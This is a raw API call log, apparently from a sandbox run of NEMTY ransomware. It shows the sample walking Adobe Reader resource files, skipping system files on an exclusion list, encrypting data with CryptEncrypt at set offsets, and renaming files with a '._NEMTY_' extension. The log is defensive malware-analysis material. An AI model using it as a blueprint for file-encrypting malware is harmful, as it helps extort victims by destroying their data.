(in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.481] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.490] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.490] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.491] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.497] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.497] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.503] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.503] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0201.503] CloseHandle (hObject=0xffffffff) returned 0 [0201.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0201.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0201.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0201.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0201.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0201.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0201.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0201.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0201.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0201.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0201.503] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-ucs2"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-UCS2._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-ucs2._nemty_kgobjgd_")) returned 0 [0201.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0201.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0201.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0201.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0201.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0201.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0201.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0201.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0201.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0201.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.504] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-0", cAlternateFileName="AD0C77~1")) returned 1 [0201.504] lstrcmpiW (lpString1="Adobe-Korea1-0", lpString2=".") returned 1 [0201.504] lstrcmpiW (lpString1="Adobe-Korea1-0", lpString2="..") returned 1 [0201.504] lstrcmpiW (lpString1="Adobe-Korea1-0", lpString2="...") returned 1 [0201.504] lstrcmpiW (lpString1="Adobe-Korea1-0", lpString2="windows") returned -1 [0201.504] lstrcmpiW (lpString1="Adobe-Korea1-0", lpString2="$RECYCLE.BIN") returned 1 [0201.504] lstrcmpiW (lpString1="Adobe-Korea1-0", lpString2="rsa") returned -1 [0201.504] lstrcmpiW (lpString1="Adobe-Korea1-0", lpString2="NTDETECT.COM") returned -1 [0201.504] lstrcmpiW (lpString1="Adobe-Korea1-0", lpString2="ntldr") returned -1 [0201.504] lstrcmpiW (lpString1="Adobe-Korea1-0", lpString2="MSDOS.SYS") returned -1 [0201.504] lstrcmpiW (lpString1="Adobe-Korea1-0", lpString2="IO.SYS") returned -1 [0201.504] lstrcmpiW (lpString1="Adobe-Korea1-0", lpString2="boot.ini") returned -1 [0201.504] lstrcmpiW (lpString1="Adobe-Korea1-0", lpString2="boot.ini") returned -1 [0201.504] lstrcmpiW (lpString1="Adobe-Korea1-0", lpString2="AUTOEXEC.BAT") returned -1 [0201.504] lstrcmpiW (lpString1="Adobe-Korea1-0", lpString2="ntuser.dat") returned -1 [0201.504] lstrcmpiW (lpString1="Adobe-Korea1-0", lpString2="desktop.ini") returned -1 [0201.504] lstrcmpiW (lpString1="Adobe-Korea1-0", lpString2="CONFIG.SYS") returned -1 [0201.504] lstrcmpiW (lpString1="Adobe-Korea1-0", lpString2="RECYCLER") returned -1 [0201.504] lstrcmpiW (lpString1="Adobe-Korea1-0", lpString2="BOOTSECT.BAK") returned -1 [0201.504] lstrcmpiW (lpString1="Adobe-Korea1-0", lpString2="bootmgr") returned -1 [0201.504] lstrcmpiW (lpString1="Adobe-Korea1-0", lpString2="programdata") returned -1 [0201.504] lstrcmpiW (lpString1="Adobe-Korea1-0", lpString2="appdata") returned -1 [0201.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-0", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0201.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-0", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-0", lpUsedDefaultChar=0x0) returned 14 [0201.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0201.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-0", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0201.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-0", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-0", lpUsedDefaultChar=0x0) returned 14 [0201.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0201.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-0", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0201.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-0", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-0", lpUsedDefaultChar=0x0) returned 14 [0201.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-0", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0201.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-0", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-0", lpUsedDefaultChar=0x0) returned 14 [0201.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0201.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0201.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0201.505] Sleep (dwMilliseconds=0x5) [0201.519] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2bc2e6f0, dwHighDateTime=0x1d561e8)) [0201.519] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2bc2e6f0, dwHighDateTime=0x1d561e8)) [0201.519] GetLastError () returned 0x5 [0201.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0201.519] GetLastError () returned 0x5 [0201.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0201.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0201.519] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0201.519] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0201.519] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0201.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0201.519] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="K2exXDhdq98I2ruF7Y4IbmUJlXoSmgIJEvzv0iVTEcxBeF8xHVXglO4XI282pzJH\r\nDm0MctzLeLItWgT0SwMVcfZrrRifC60ib0VVUAUU/LN0es47BsLYh+E9N+5yXm73\r\nanj5Q4Npj8poGsehkYyzowb930WmRPHvKrudG5X1xwLp+le+si9LqjRqE4jxX6qr\r\nKKLGq0wu56um7IU0hCsta14d49ngD1tTjhDFMOEKWeow35LiRUL6+DitOMKIDSOw\r\nv56FvFcjpXJcCQGmYRH3XRQJ2kTyaw1jnLucfNOdrvTKS2+/1/MfH6i0BZCwBBJi\r\nP0EYq1syUNI11eYtw89tvA==\r\n", pcchString=0x653e91c) returned 1 [0201.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0201.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0201.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0201.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0201.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0201.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0201.519] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-0"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0201.523] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0201.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0201.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.523] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.532] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.532] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.542] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.542] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.551] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.551] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.560] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.560] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.560] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.560] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.570] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.570] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.579] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.579] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.579] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.579] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.589] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.589] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.598] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.598] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.607] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.607] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.617] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.617] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.623] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.623] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.629] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.629] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, 